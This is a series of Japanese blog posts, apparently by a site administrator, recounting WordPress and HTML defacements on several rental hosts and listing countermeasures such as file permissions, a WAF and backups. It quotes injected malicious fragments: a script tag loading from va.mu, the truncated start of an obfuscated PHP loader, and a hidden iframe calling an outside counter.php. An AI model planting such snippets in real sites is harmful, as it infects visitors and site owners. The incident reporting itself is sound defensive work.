Wordpressの投稿記事タイトル部分が改ざん

ワードプレス、編集者モードで投稿した記事のタイトル後半部分にこの不明な記述が追加されていました。

「<script src="http://va.mu/caCS」を検索すると、多くのサイトが表示され、どうやらマルウェアのようです。多くのサイトが危険サイトになっていました。

phpファイル自体に書き込みはないようですが、タイムスタンプはあてにならないので、昨日公開されたWP3.52（改ざん対策版)にバージョンアップしようかと思いましたが、ホスティングサーバー側の仕様が古くてバージョンアップできません。

とりあえず、サーバー系のパスワードとワードプレスのパスワードを変更しました。これで様子見です。週末改ざんが行われると報告を受けましたので、もしかしたら、パスワードがハッキングされたかも???

20000ファイルが改ざん

2週間前、またホームページが改ざんされました。

今度はヘテムルサーバーにアップしていたwordpressのphpファイル、全部で約20000ファイルです。

各ファイルのヘッダー部分に下記のphpタグが埋め込まれていました。


<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework

※長いので以下省略

10日ほどでようやく削除が終わり、wordpressの動作確認を行っています。

今回の改ざんは以前の改ざんとは異なるものです。

1.
改ざんファイルのタイムスタンプが更新されていない。
2010年のファイルまで改ざんされ、しかもタイムスタンプは2010年のままです。

2.
不明の管理者がwordpressに追加されている。

3.
すべてのphpファイルに上部のタグが埋め込まれる。
※以前はindex.phpフィルが主でした。


追記
つい先日Wordpress3.52が公開されました。51から52ですが、内容は改ざん対策です。
来週、バージョンアップしようと思います。

ほぼ同じ時期にトヨタ自動車のサイトが改ざんされ、いまだにメンテナンス中です。今年になり、CMS系サイトへの改ざんは加速しています。

やっかいなマルウェア 続き

MaAfee、トレンドマイクロ、ノートン、そしてGoogleウェブマスターツールまで検知しないマルウェアに改ざんされているホームページは、本日ホスティングサーバー会社から下記の連絡を受け閉鎖されました。

----
被害拡大を防ぐため、該当ファイルのパーミッションを「000」へ変更いたしました。
----

改ざんされたホームページに、Wordpressはインストールされていませんでしたが、管理用にphpを使っていました。その階層のindex.phpにトロイ系のソースが仕込まれ、それがhtmlファイルを改ざんした主犯のような気がします。

結局、Googleのウェブマスタツールはこのマルウェアを検知できませんでした。今まで、このツールで数百ものホームページをチェックしていたので、改ざんをチェックできないマルウェアの存在は正直ショックです。

改ざん対策の現時点での総括

Wordpressは以下を実行
最新バージョンにする
※自動更新ではなく手動でおこなう。自動で行う場合、パーミッションの変更をFTPで行わなければならないので、むしろ手間になる。

パーミッションの変更
phpのパーミッションは604（config.phpは404）
ディレクトリは705
htaccessは604

WAFを導入する
ＷＡＦをオンにすると、動作しなくなる機能（プラグイン）がある。

定期的にファイルのデイトスタンプをチェックする。特にindex.phpの育成日付はチェック要。

当然ですが、バックアップはこまめに行う。

改ざんのあったホスティング

改ざんはどんなに対策を施しても避けられないと、最近は感じています。

仕事の関係で多くのレンタルサーバー会社のサーバーを取り扱っています。2年前にまず、ヘテムル、1年前にロリポップ、CPIとネットラピュタ等が改ざんされました。

ヘテムルの時は最悪でした、マルチィドメインで約30ドメイン活用していてすべてが改ざんされました。侵入口はWordpressです。バックアップがあるにせよ、すべて復旧させるのは非常に手間のかかることでした。正直、サーバーの移転を考えました。

ところが、当たり前のことですが、サーバー会社を変えても対策をしていなかったら、また改ざんされる可能性が高いことを知りました。ヘテムル側の対応は大変親切で改ざんされたデータをすべて送ってくれましたので、継続してヘテムルを使用しています。

Wordpressがやっかいなのは、対策用にファイルのパーミッションを604、404、705に手作業で変えても自動アップグレードでまた、644、755に戻ってしまいます。アップグレードのたびに手作業でパーミッションを変更しなければなりません。

多くのホスティング業者はWordpressを売りにしているのですが、改ざん等の対策はユーザーの責任としています。

やっかいなマルウェア

MaAfee、トレンドマイクロ、ノートンなどの有名ウィルスソフトでも認識されないマルウェアがあるようです。

インターネットウィルスは自然界のインフルエンザに似ていて、常に進化し、それに対するワクチンを開発するように、対策が後手になります。

ケチなので私のPCは無料のAVASTでウィルス対策をしています。ところが、先日AVASTがトロイの木馬を検知しましたと、ある知人のURLにアクセスした際に警告を出しました。

知人はウイルスバスタが常時起動していて問題なくページを表示できると言うので、また、AVASTが誤認識したのだとその時は思いました。 念のため、FTPでデータのデイトスタンプをチェックしてみると、半年以上更新していないＨＴＭＬファイルがすべて1週間前の日付でアップデートされていました。


この2年間、Ｗｏｒｄｐｒｅｓｓのphpファイルへの改ざん対策でうんざりしていましたが、どうやら、これは新手の改ざんではないか？？？

いずれにしてもhtmlへの改ざんは初めてでした。しかも、Ｇｏｏｇｌｅのウェブマスターツールのマルウェア検知で、問題なしでした。

これは改ざんであっても無害なのか？？？
FTPでもファイルの中身を見ることができない。
一体、どんな改ざんがあるのだろう？？？

検索しても日本のサイトではこの現象は見当たらない。satan.phpの時もそうでした。

数日後、たまたま、英語サイトでオンラインチェックできるページを見つけました。

http://sitecheck.sucuri.net/scanner/

ここで知人のドメインを入力すると下記のマルウェアがあることがわかりました。

</html><iframe src="http://autopd.de/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/

どうやらautopd.deも改ざんされているようで、こんどはautopd.deチェックすると

ロシアのURLらしき記述が多数見つかりました。

Wordpressでの改ざんパターンに似ていますが、違いは「問題なし」で サイトへのアクセスが許可されていることです。

ホームページの改ざん（1）

丁度、2011年末ごろから、Wordpressへの改ざんが増え始め、大変苦労した（正確には、苦労しているの進行形です）経験があります。

やっと、あるパターンの改ざんを処理できたと思いきや、新たな改ざんがしばらくすると流行りだします。これを仕掛けている人間は「愉快犯」、それとも何かメリットでもあるのでしょうか。

最初は、ヘテムルでレンタルしていたサーバーが次から次への改ざんされました。年末年始も容赦なく改ざんされ、サーバーを他に移管しようかと真剣に考えました。ヘテムル側は、cgi、php、ディレクトリーのパーミションを変更してくれましたが、改ざんされたファイルが多すぎて、途方もない作業でした。何とか、改ざんが収まり一瞬安心していたところ、今度は、ロリポップのサーバー、CPIのサーバーと、Wordpressをインストールしたホームページが改ざんされ始めました。

以前は、index.back.phpのようなファイルや意味不明のファイルが育成されていましたが、最近ではジャバスクリプトファイル(拡張子がjsのファイル)にソースが書き込まれ、index.phpが改ざんされるケースも増えてきました。また、Boxtheme.zip(解凍すると、plugin.phpとsatan.phpが現れてupgradeディレクトリ内に育成され、改ざんを開始するようなパターンも発見しました。

Boxtheme.zipをGoogleで検索すると、Index of /wp-content/uploadsのようなタイトルのサイトが多く表示されます。どうやらこれらのサイトはすべて改ざんされている、あるいは最近まで改ざんされていたサイトのようです。日本のサイトはあまり見出せないので、とりあえず、育成されたBoxthemeディレクトリーを削除しました。こんなことをしても何の解決にもならなかもしれませんが、とりあえず、様子見です。

それでは、次回報告まで